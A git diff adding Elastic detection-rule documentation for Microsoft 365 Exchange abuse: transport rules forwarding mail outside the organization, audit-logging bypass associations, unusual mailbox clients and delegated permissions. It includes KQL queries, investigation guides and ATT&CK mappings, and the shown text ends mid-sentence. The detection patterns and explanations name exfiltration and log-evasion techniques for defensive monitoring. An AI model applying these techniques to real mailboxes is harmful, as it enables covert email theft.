b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-exchange-mail-flow-transport-rule-created.asciidoc @@ -0,0 +1,128 @@ +[[prebuilt-rule-8-19-21-m365-exchange-mail-flow-transport-rule-created]] +=== M365 Exchange Mail Flow Transport Rule Created + +Identifies a transport rule creation in Microsoft 365. As a best practice, Exchange Online mail transport rules should not be set to forward email to domains outside of your organization. An adversary may create transport rules to exfiltrate data. + +*Rule type*: query + +*Rule indices*: + +* logs-o365.audit-* +* filebeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/powershell/module/exchange/new-transportrule?view=exchange-ps +* https://docs.microsoft.com/en-us/exchange/security-and-compliance/mail-flow-rules/mail-flow-rules + +*Tags*: + +* Domain: Cloud +* Data Source: Microsoft 365 +* Use Case: Configuration Audit +* Tactic: Exfiltration +* Resources: Investigation Guide + +*Version*: 213 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating M365 Exchange Mail Flow Transport Rule Created* + + +Microsoft 365 Exchange transport rules automate email handling, applying actions like forwarding or blocking based on conditions. While beneficial for managing communications, adversaries can exploit these rules to redirect emails externally, facilitating data exfiltration. The detection rule monitors successful creation of new transport rules, flagging potential misuse by identifying specific actions and outcomes in audit logs. + + +*Possible investigation steps* + + +- Review the audit logs for the event.dataset:o365.audit to identify the user account responsible for creating the new transport rule. +- Examine the event.provider:Exchange and event.category:web fields to confirm the context and source of the rule creation. +- Investigate the event.action:"New-TransportRule" to understand the specific conditions and actions defined in the newly created transport rule. +- Check the event.outcome:success to ensure the rule creation was completed successfully and assess if it aligns with expected administrative activities. +- Analyze the transport rule settings to determine if it includes actions that forward emails to external domains, which could indicate potential data exfiltration. +- Correlate the findings with other security events or alerts to identify any patterns or anomalies that might suggest malicious intent. + + +*False positive analysis* + + +- Routine administrative tasks may trigger alerts when IT staff create or modify transport rules for legitimate purposes. To manage this, establish a baseline of expected rule creation activities and exclude these from alerts. +- Automated systems or third-party applications that integrate with Microsoft 365 might create transport rules as part of their normal operation. Identify these systems and create exceptions for their known actions. +- Changes in organizational policies or email handling procedures can lead to legitimate rule creations. Document these changes and update the monitoring system to recognize them as non-threatening. +- Regular audits or compliance checks might involve creating temporary transport rules. Coordinate with audit teams to schedule these activities and temporarily adjust alert thresholds or exclusions during these periods. + + +*Response and remediation* + + +- Immediately disable the newly created transport rule to prevent further unauthorized email forwarding or data exfiltration. +- Conduct a thorough review of the audit logs to identify any other suspicious transport rules or related activities that may indicate a broader compromise. +- Isolate the affected user accounts or systems associated with the creation of the transport rule to prevent further unauthorized access or actions. +- Reset passwords and enforce multi-factor authentication for the affected accounts to secure access and prevent recurrence. +- Notify the security team and relevant stakeholders about the incident for awareness and further investigation. +- Escalate the incident to the incident response team if there is evidence of a broader compromise or if sensitive data has been exfiltrated. +- Implement enhanced monitoring and alerting for transport rule changes to detect and respond to similar threats more effectively in the future. + +==== Setup + + +The Office 365 Logs Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:o365.audit and event.provider:Exchange and event.category:web and event.action:"New-TransportRule" and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Transfer Data to Cloud Account +** ID: T1537 +** Reference URL: https://attack.mitre.org/techniques/T1537/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Email Collection +** ID: T1114 +** Reference URL: https://attack.mitre.org/techniques/T1114/ +* Sub-technique: +** Name: Email Forwarding Rule +** ID: T1114.003 +** Reference URL: https://attack.mitre.org/techniques/T1114/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-exchange-mail-flow-transport-rule-modified.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-exchange-mail-flow-transport-rule-modified.asciidoc new file mode 100644 index 0000000000..851bd5c5f5 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-exchange-mail-flow-transport-rule-modified.asciidoc @@ -0,0 +1,129 @@ +[[prebuilt-rule-8-19-21-m365-exchange-mail-flow-transport-rule-modified]] +=== M365 Exchange Mail Flow Transport Rule Modified + +Identifies when a transport rule has been disabled or deleted in Microsoft 365. Mail flow rules (also known as transport rules) are used to identify and take action on messages that flow through your organization. An adversary or insider threat may modify a transport rule to exfiltrate data or evade defenses. + +*Rule type*: query + +*Rule indices*: + +* logs-o365.audit-* +* filebeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/powershell/module/exchange/remove-transportrule?view=exchange-ps +* https://docs.microsoft.com/en-us/powershell/module/exchange/disable-transportrule?view=exchange-ps +* https://docs.microsoft.com/en-us/exchange/security-and-compliance/mail-flow-rules/mail-flow-rules + +*Tags*: + +* Domain: Cloud +* Data Source: Microsoft 365 +* Use Case: Configuration Audit +* Tactic: Exfiltration +* Resources: Investigation Guide + +*Version*: 213 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating M365 Exchange Mail Flow Transport Rule Modified* + + +Microsoft 365 Exchange transport rules manage email flow by setting conditions and actions for messages. Adversaries may exploit these rules to disable or delete them, facilitating data exfiltration or bypassing security measures. The detection rule monitors audit logs for successful execution of commands that alter these rules, signaling potential misuse and enabling timely investigation. + + +*Possible investigation steps* + + +- Review the audit logs for the specific event.dataset:o365.audit entries with event.provider:Exchange to confirm the occurrence of the "Remove-TransportRule" or "Disable-TransportRule" actions. +- Identify the user account associated with the event by examining the user information in the audit logs to determine if the action was performed by an authorized individual or a potential adversary. +- Check the event.category:web context to understand if the action was performed through a web interface, which might indicate a compromised account or unauthorized access. +- Investigate the event.outcome:success to ensure that the rule modification was indeed successful and not an attempted action. +- Correlate the timing of the rule modification with other security events or alerts to identify any concurrent suspicious activities that might suggest a broader attack or data exfiltration attempt. +- Assess the impact of the rule modification by reviewing the affected transport rules to determine if they were critical for security or compliance, and evaluate the potential risk to the organization. + + +*False positive analysis* + + +- Routine administrative changes to transport rules by IT staff can trigger alerts. To manage this, maintain a list of authorized personnel and their expected activities, and create exceptions for these users in the monitoring system. +- Scheduled maintenance or updates to transport rules may result in false positives. Document these activities and adjust the monitoring system to temporarily exclude these events during known maintenance windows. +- Automated scripts or third-party tools that manage transport rules might cause alerts. Identify these tools and their typical behavior, then configure the monitoring system to recognize and exclude these benign actions. +- Changes made as part of compliance audits or security assessments can be mistaken for malicious activity. Coordinate with audit teams to log these activities separately and adjust the monitoring system to account for these legitimate changes. + + +*Response and remediation* + + +- Immediately disable any compromised accounts identified in the audit logs to prevent further unauthorized modifications to transport rules. +- Revert any unauthorized changes to transport rules by restoring them to their previous configurations using backup data or logs. +- Conduct a thorough review of all transport rules to ensure no additional unauthorized modifications have been made, and confirm that all rules align with organizational security policies. +- Implement additional monitoring on the affected accounts and transport rules to detect any further suspicious activities or attempts to modify rules. +- Escalate the incident to the security operations team for a deeper investigation into potential data exfiltration activities and to assess the scope of the breach. +- Coordinate with legal and compliance teams to determine if any regulatory reporting is required due to potential data exfiltration. +- Enhance security measures by enabling multi-factor authentication (MFA) for all administrative accounts and reviewing access permissions to ensure the principle of least privilege is enforced. + +==== Setup + + +The Office 365 Logs Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:o365.audit and event.provider:Exchange and event.category:web and event.action:("Remove-TransportRule" or "Disable-TransportRule") and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Transfer Data to Cloud Account +** ID: T1537 +** Reference URL: https://attack.mitre.org/techniques/T1537/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-exchange-mailbox-accessed-by-unusual-client.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-exchange-mailbox-accessed-by-unusual-client.asciidoc new file mode 100644 index 0000000000..24d7cee8d1 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-exchange-mailbox-accessed-by-unusual-client.asciidoc @@ -0,0 +1,197 @@ +[[prebuilt-rule-8-19-21-m365-exchange-mailbox-accessed-by-unusual-client]] +=== M365 Exchange Mailbox Accessed by Unusual Client + +Identifies suspicious Microsoft 365 mail access by ClientAppId. This rule detects when a user accesses their mailbox using a client application that is not typically used by the user, which may indicate potential compromise or unauthorized access attempts. Adversaries may use custom or third-party applications to access mailboxes, bypassing standard security controls. First-party Microsoft applications are also abused after OAuth tokens are compromised, allowing adversaries to access mailboxes without raising suspicion. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-o365.audit-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-193a +* https://trustedsec.com/blog/mailitemsaccessed-woes-m365-investigation-challenges +* https://learn.microsoft.com/en-us/purview/audit-log-investigate-accounts + +*Tags*: + +* Domain: Cloud +* Domain: Email +* Data Source: Microsoft 365 +* Data Source: Microsoft 365 Audit Logs +* Use Case: Threat Detection +* Tactic: Collection +* Resources: Investigation Guide + +*Version*: 113 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and Analysis* + + + +*Investigating M365 Exchange Mailbox Accessed by Unusual Client* + + +This rule detects when a user accesses their mailbox using a client application that is not typically used by the user, which may indicate potential compromise or unauthorized access attempts. Adversaries may use custom or third-party applications to access mailboxes, bypassing standard security controls. First-party Microsoft applications are also abused after OAuth tokens are compromised, allowing adversaries to access mailboxes without raising suspicion. + + +*Possible investigation steps* + +- Review the `o365.audit.UserId` field to identify the user associated with the mailbox access. +- Check the `o365.audit.ClientAppId` field to determine which client application was used for the mailbox access. Look for unusual or unexpected applications or determine which first-party Microsoft applications are being abused. +- Review `o365.audit.ClientInfoString` to gather additional information about the client application used for the mailbox access. +- Examine `o365.audit.Folders.Path` to identify the specific mailbox folders accessed by the client application. This can help determine if sensitive information was accessed or if the access was legitimate. +- Ensure that `o365.audit.MailboxOwnerUPN` matches the `o365.audit.UserId` to confirm that the mailbox accessed belongs to the user identified in the `o365.audit.UserId` field. +- Review geolocation information to identify the location from which the mailbox access occurred. Look for any anomalies or unexpected locations that may indicate suspicious activity. +- Examine `o365.audit.Folders.FolderItems.Id` to identify the specific items accessed within the mailbox folders. This can help determine if sensitive information was accessed or if the access was legitimate. + + +*False positive analysis* + +- Legitimate users may access their mailboxes using new or different client applications, such as when switching to a new email client or using a mobile application. If this is expected behavior, consider adjusting the rule or adding exceptions for specific users or client applications. +- Users may access their mailboxes using custom or third-party applications that are authorized by the organization, such as CRM or ERP systems. If this is expected behavior, consider adjusting the rule or adding exceptions for specific applications. + + +*Response and remediation* + +- If the mailbox access is confirmed to be suspicious or unauthorized, take immediate action to revoke the access token and prevent further access. +- Disable the user account temporarily to prevent any potential compromise or unauthorized access. +- Examine the sensitivity of the mailbox data accessed and determine if any sensitive information was compromised. +- Rotate the user's credentials and enforce multi-factor authentication (MFA) to prevent further unauthorized access. +- Review the conditional access policies in place to ensure they are sufficient to prevent unauthorized access to sensitive resources. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "o365.audit" and + event.provider: "Exchange" and + event.category: "web" and + event.action: "MailItemsAccessed" and + event.outcome: "success" and + o365.audit.LogonType: ("0" or "1" or "6") and + o365.audit.UserType: ("0" or "2" or "3" or "10") and + o365.audit.OperationProperties.Value: "Bind" and + not o365.audit.ClientAppId : ( + "00000002-0000-0000-c000-000000000000" or "00000002-0000-0ff1-ce00-000000000000" or + "00000003-0000-0ff1-ce00-000000000000" or "00000004-0000-0ff1-ce00-000000000000" or + "00000005-0000-0ff1-ce00-000000000000" or "00000006-0000-0ff1-ce00-000000000000" or + "00000007-0000-0000-c000-000000000000" or "00000007-0000-0ff1-ce00-000000000000" or + "00000009-0000-0000-c000-000000000000" or "0000000c-0000-0000-c000-000000000000" or + "00000012-0000-0000-c000-000000000000" or "00000015-0000-0000-c000-000000000000" or + "0000001a-0000-0000-c000-000000000000" or "00b41c95-dab0-4487-9791-b9d2c32c80f2" or + "022907d3-0f1b-48f7-badc-1ba6abab6d66" or "04b07795-8ddb-461a-bbee-02f9e1bf7b46" or + "08543e9e-5b1f-4af5-8228-cb5a5c9d4e24" or "08e18876-6177-487e-b8b5-cf950c1e598c" or + "0cb7b9ec-5336-483b-bc31-b15b5788de71" or "0cd196ee-71bf-4fd6-a57c-b491ffd4fb1e" or + "0f698dd4-f011-4d23-a33e-b36416dcb1e6" or "1150aefc-07de-4228-b2b2-042a536703c0" or + "11ba4a52-3159-44e1-93cd-d18e9443e3ef" or "13937bba-652e-4c46-b222-3003f4d1ff97" or + "13937bba-652e-4c46-b222-3003f4d1ff97" or "13937bba-652e-4c46-b222-3003f4d1ff97" or + "14d82eec-204b-4c2f-b7e8-296a70dab67e" or "157cdfbf-7398-4a56-96c3-e93e9ab309b5" or + "16aeb910-ce68-41d1-9ac3-9e1673ac9575" or "1786c5ed-9644-47b2-8aa0-7201292175b6" or + "17d5e35f-655b-4fb0-8ae6-86356e9a49f5" or "18fbca16-2224-45f6-85b0-f7bf2b39b3f3" or + "1950a258-227b-4e31-a9cf-717495945fc2" or "1b3c667f-cde3-4090-b60b-3d2abd0117f0" or + "1fec8e78-bce4-4aaf-ab1b-5451cc387264" or "1fec8e78-bce4-4aaf-ab1b-5451cc387264" or + "20a11fe0-faa8-4df5-baf2-f965f8f9972e" or "23523755-3a2b-41ca-9315-f81f3f566a95" or + "243c63a3-247d-41c5-9d83-7788c43f1c43" or "268761a2-03f3-40df-8a8b-c3db24145b6b" or + "26a7ee05-5602-4d76-a7ba-eae8b7b67941" or "26a7ee05-5602-4d76-a7ba-eae8b7b67941" or + "26abc9a8-24f0-4b11-8234-e86ede698878" or "27922004-5251-4030-b22d-91ecd9a37ea4" or + "27922004-5251-4030-b22d-91ecd9a37ea4" or "27b9c0f2-3d8e-4a1c-8b6f-5d7a0c6e1f2b" or + "28b567f6-162c-4f54-99a0-6887f387bbcc" or "29d9ed98-a469-4536-ade2-f981bc1d605e" or + "2abdc806-e091-4495-9b10-b04d93c3f040" or "2cee05de-2b8f-45a2-8289-2a06ca32c4c8" or + "2d4d3d8e-2be3-4bef-9f87-7875a61c29de" or "2d7f3606-b07d-41d1-b9d2-0d0c9296a6e8" or + "2fd64745-b008-3e7d-4903-15d43e60f62a" or "3090ab82-f1c1-4cdf-af2c-5d7a6f3e2cc7" or + "35d54a08-36c9-4847-9018-93934c62740c" or "37182072-3c9c-4f6a-a4b3-b3f91cacffce" or + "38049638-cc2c-4cde-abe4-4479d721ed44" or "3c896ded-22c5-450f-91f6-3d1ef0848f6e" or + "43375d74-c6a5-4d4e-a0a3-de139860ea75" or "4345a7b9-9a63-4910-a426-35363201d503" or + "45a330b1-b1ec-4cc1-9161-9f03992aa49f" or "464e0e4d-676a-4c3b-9f81-2ed9b2a9acd2" or + "4765445b-32c6-49b0-83e6-1d93765276ca" or "497effe9-df71-4043-a8bb-14cf78c4b63b" or + "4b233688-031c-404b-9a80-a4f3f2351f90" or "4d5c2d63-cf83-4365-853c-925fd1a64357" or + "51be292c-a17e-4f17-9a7e-4b661fb16dd2" or "5572c4c0-d078-44ce-b81c-6cbf8d3ed39e" or + "5d661950-3475-41cd-a2c3-d671a3162bc1" or "5e3ce6c0-2b1f-4285-8d4b-75ee78787346" or + "60c8bde5-3167-4f92-8fdb-059f6176dc0f" or "61109738-7d2b-4a0b-9fe3-660b1ff83505" or + "62256cef-54c0-4cb4-bcac-4c67989bdc40" or "6253bca8-faf2-4587-8f2f-b056d80998a7" or + "6326e366-9d6d-4c70-b22a-34c7ea72d73d" or "65d91a3d-ab74-42e6-8a2f-0add61688c74" or + "66a88757-258c-4c72-893c-3e8bed4d6899" or "67e3df25-268a-4324-a550-0de1c7f97287" or + "69893ee3-dd10-4b1c-832d-4870354be3d8" or "74658136-14ec-4630-ad9b-26e160ff0fc6" or + "74bcdadc-2fdc-4bb3-8459-76d06952a0e9" or "75efb5bc-18a1-4e7b-8a66-2ad2503d79c6" or + "75f31797-37c9-498e-8dc9-53c16a36afca" or "797f4846-ba00-4fd7-ba43-dac1f8f63013" or + "7ab7862c-4c57-491e-8a45-d52a7e023983" or "7ae974c5-1af7-4923-af3a-fb1fd14dcb7e" or + "7b7531ad-5926-4f2d-8a1d-38495ad33e17" or "7fba38f4-ec1f-458d-906c-f4e3c4f41335" or + "80ccca67-54bd-44ab-8625-4b79c4dc7775" or "82d8ab62-be52-a567-14ea-1616c4ee06c4" or + "835b2a73-6e10-4aa5-a979-21dfda45231c" or "871c010f-5e61-4fb1-83ac-98610a7e9110" or + "89bee1f7-5e6e-4d8a-9f3d-ecd601259da7" or "8acd33ea-7197-4a96-bc33-d7cc7101262f" or + "8edd93e1-2103-40b4-bd70-6e34e586362d" or "905fcf26-4eb7-48a0-9ff0-8dcc7194b5ba" or + "9199bf20-a13f-4107-85dc-02114787ef48" or "9199bf20-a13f-4107-85dc-02114787ef48" or + "91ca2ca5-3b3e-41dd-ab65-809fa3dffffa" or "93625bc8-bfe2-437a-97e0-3d0060024faa" or + "93d53678-613d-4013-afc1-62e9e444a0a5" or "944f0bd1-117b-4b1c-af26-804ed95e767e" or + "94c63fef-13a3-47bc-8074-75af8c65887a" or "95de633a-083e-42f5-b444-a4295d8e9314" or + "97cb1f73-50df-47d1-8fb0-0271f2728514" or "98db8bd6-0cc0-4e67-9de5-f187f1cd1b41" or + "99b904fd-a1fe-455c-b86c-2f9fb1da7687" or "9ea1ad79-fdb6-4f9a-8bc3-2b70f96e34c7" or + "9fd38622-d9b4-4401-b1b9-1ce14c5e435a" or "a3475900-ccec-4a69-98f5-a65cd5dc5306" or + "a3883eba-fbe9-48bd-9ed3-dca3e0e84250" or "a3883eba-fbe9-48bd-9ed3-dca3e0e84250" or + "a3b79187-70b2-4139-83f9-6016c58cd27b" or "a40d7d7d-59aa-447e-a655-679a4107e548" or + "a57aca87-cbc0-4f3c-8b9e-dc095fdc8978" or "a970bac6-63fe-4ec5-8884-8536862c42d4" or + "a9b49b65-0a12-430b-9540-c80b3332c127" or "ab9b8c07-8f02-4f72-87fa-80105867a763" or + "ae8e128e-080f-4086-b0e3-4c19301ada69" or "b23dd4db-9142-4734-867f-3577f640ad0c" or + "b4bddae8-ab25-483e-8670-df09b9f1d0ea" or "b669c6ea-1adf-453f-b8bc-6d526592b419" or + "b6e69c34-5f1f-4c34-8cdf-7fea120b8670" or "bb2a2e3a-c5e7-4f0a-88e0-8e01fd3fc1f4" or + "bdd48c81-3a58-4ea9-849c-ebea7f6b6360" or "c1c74fed-04c9-4704-80dc-9f79a2e515cb" or + "c35cb2ba-f88b-4d15-aa9d-37bd443522e1" or "c44b4083-3bb0-49c1-b47d-974e53cbdf3c" or + "c9a559d2-7aab-4f13-a6ed-e7e9c52aec87" or "cc15fd57-2c6c-4117-a88c-83b1d56b4bbe" or + "cf36b471-5b44-428c-9ce7-313bf84528de" or "cf53fce8-def6-4aeb-8d30-b158e7b1cf83" or + "d176f6e7-38e5-40c9-8a78-3998aab820e7" or "d34dcd43-8519-44e4-827c-de79b767da47" or + "d3590ed6-52b3-4102-aeff-aad2292ab01c" or "d3590ed6-52b3-4102-aeff-aad2292ab01c" or + "d3590ed6-52b3-4102-aeff-aad2292ab01c" or "d396de1f-10d4-4023-aae2-5bb3d724ba9a" or + "d71dfe16-1070-48f3-bd3a-c3ec919d34e7" or "d73f4b35-55c9-48c7-8b10-651f6f2acb2e" or + "d9b8ec3a-1e4e-4e08-b3c2-5baf00c0fcb0" or "de8bc8b5-d9f9-48b1-a8ad-b748da725064" or + "dfe74da8-9279-44ec-8fb2-2aed9e1c73d0" or "e1ef36fd-b883-4dbf-97f0-9ece4b576fc6" or + "e64aa8bc-8eb4-40e2-898b-cf261a25954f" or "e9b154d0-7658-433b-bb25-6b8e0a8a7c59" or + "e9f49c6b-5ce5-44c8-925d-015017e9f7ad" or "ee272b19-4411-433f-8f28-5c13cb6fd407" or + "eed83176-464d-48c7-a887-cc5cc534c7b8" or "f5eaa862-7f08-448c-9c4e-f4047d4d4521" or + "f8d98a96-0999-43f5-8af3-69971c7bb423" or "fb78d390-0c51-40cd-8e17-fdbfab77341b" or + "fc0f3af4-6835-4174-b806-f7db311fd2f3" or "fdf9885b-dd37-42bf-82e5-c3129ef5a302" or + "ffcb16e8-f789-467c-8ce9-f826a080d987" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Email Collection +** ID: T1114 +** Reference URL: https://attack.mitre.org/techniques/T1114/ +* Sub-technique: +** Name: Remote Email Collection +** ID: T1114.002 +** Reference URL: https://attack.mitre.org/techniques/T1114/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-exchange-mailbox-audit-logging-bypass-added.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-exchange-mailbox-audit-logging-bypass-added.asciidoc new file mode 100644 index 0000000000..5711ca21ab --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-exchange-mailbox-audit-logging-bypass-added.asciidoc @@ -0,0 +1,128 @@ +[[prebuilt-rule-8-19-21-m365-exchange-mailbox-audit-logging-bypass-added]] +=== M365 Exchange Mailbox Audit Logging Bypass Added + +Detects the occurrence of mailbox audit bypass associations. The mailbox audit is responsible for logging specified mailbox events (like accessing a folder or a message or permanently deleting a message). However, actions taken by some authorized accounts, such as accounts used by third-party tools or accounts used for lawful monitoring, can create a large number of mailbox audit log entries and may not be of interest to your organization. Because of this, administrators can create bypass associations, allowing certain accounts to perform their tasks without being logged. Attackers can abuse this allowlist mechanism to conceal actions taken, as the mailbox audit will log no activity done by the account. + +*Rule type*: query + +*Rule indices*: + +* logs-o365.audit-* +* filebeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://twitter.com/misconfig/status/1476144066807140355 + +*Tags*: + +* Domain: Cloud +* Data Source: Microsoft 365 +* Tactic: Initial Access +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 213 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating M365 Exchange Mailbox Audit Logging Bypass Added* + + +In Microsoft 365 environments, mailbox audit logging is crucial for tracking user activities like accessing or deleting emails. However, administrators can exempt certain accounts from logging to reduce noise, which attackers might exploit to hide their actions. The detection rule identifies successful attempts to create such exemptions, signaling potential misuse of this bypass mechanism. + + +*Possible investigation steps* + + +- Review the event logs for entries with event.dataset set to o365.audit and event.provider set to Exchange to confirm the presence of the Set-MailboxAuditBypassAssociation action. +- Identify the account associated with the event.action Set-MailboxAuditBypassAssociation and verify if it is a known and authorized account for creating audit bypass associations. +- Check the event.outcome field to ensure the action was successful and determine if there are any other related unsuccessful attempts that might indicate trial and error by an attacker. +- Investigate the history of the account involved in the bypass association to identify any unusual or suspicious activities, such as recent changes in permissions or unexpected login locations. +- Cross-reference the account with any known third-party tools or lawful monitoring accounts to determine if the bypass is legitimate or potentially malicious. +- Assess the risk and impact of the bypass by evaluating the types of activities that would no longer be logged for the account in question, considering the organization's security policies and compliance requirements. + + +*False positive analysis* + + +- Authorized third-party tools may generate a high volume of mailbox audit log entries, leading to bypass associations being set. Review and document these tools to ensure they are legitimate and necessary for business operations. +- Accounts used for lawful monitoring might be exempted from logging to reduce noise. Verify that these accounts are properly documented and that their activities align with organizational policies. +- Regularly review the list of accounts with bypass associations to ensure that only necessary and approved accounts are included. Remove any accounts that no longer require exemptions. +- Implement a process for periodically auditing bypass associations to detect any unauthorized changes or additions, ensuring that only intended accounts are exempted from logging. +- Consider setting up alerts for any new bypass associations to quickly identify and investigate potential misuse or unauthorized changes. + + +*Response and remediation* + + +- Immediately isolate the account associated with the successful Set-MailboxAuditBypassAssociation event to prevent further unauthorized actions. +- Review and revoke any unauthorized mailbox audit bypass associations to ensure all relevant activities are logged. +- Conduct a thorough audit of recent activities performed by the affected account to identify any suspicious or malicious actions that may have been concealed. +- Reset credentials for the compromised account and any other accounts that may have been affected to prevent further unauthorized access. +- Notify the security team and relevant stakeholders about the incident for awareness and further investigation. +- Implement additional monitoring for similar bypass attempts to enhance detection capabilities and prevent recurrence. +- Consider escalating the incident to a higher security tier or external cybersecurity experts if the scope of the breach is extensive or if internal resources are insufficient to handle the threat. + +==== Setup + + +The Office 365 Logs Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:o365.audit and event.provider:Exchange and event.action:Set-MailboxAuditBypassAssociation and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-exchange-mailbox-high-risk-permission-delegated.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-exchange-mailbox-high-risk-permission-delegated.asciidoc new file mode 100644 index 0000000000..8e0c27c152 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-exchange-mailbox-high-risk-permission-delegated.asciidoc @@ -0,0 +1,163 @@ +[[prebuilt-rule-8-19-21-m365-exchange-mailbox-high-risk-permission-delegated]] +=== M365 Exchange Mailbox High-Risk Permission Delegated + +Identifies the assignment of rights to access content from another mailbox. An adversary may use the compromised account to send messages to other accounts in the network of the target organization while creating inbox rules, so messages can evade spam/phishing detection mechanisms. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-o365.audit-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://learn.microsoft.com/en-us/microsoft-365/admin/add-users/give-mailbox-permissions-to-another-user?view=o365-worldwide + +*Tags*: + +* Domain: Cloud +* Domain: SaaS +* Data Source: Microsoft 365 +* Data Source: Microsoft Exchange +* Data Source: Microsoft 365 Audit Logs +* Use Case: Configuration Audit +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 214 + +*Rule authors*: + +* Elastic +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and Analysis* + + + +*Investigating M365 Exchange Mailbox High-Risk Permission Delegated* + + +This rule detects the delegation of mailbox permissions in Microsoft 365 Exchange. This behavior may indicate that an adversary is attempting to gain access to another user's mailbox or send messages on behalf of that user. + + +*Possible Investigation Steps* + +- `user.id` and `o365.audit.Parameters.Identity`: Determine which account was delegated access and which account performed the delegation. Review both for unusual activity. +- `event.action`: Indicates the type of permission granted. Review which delegation 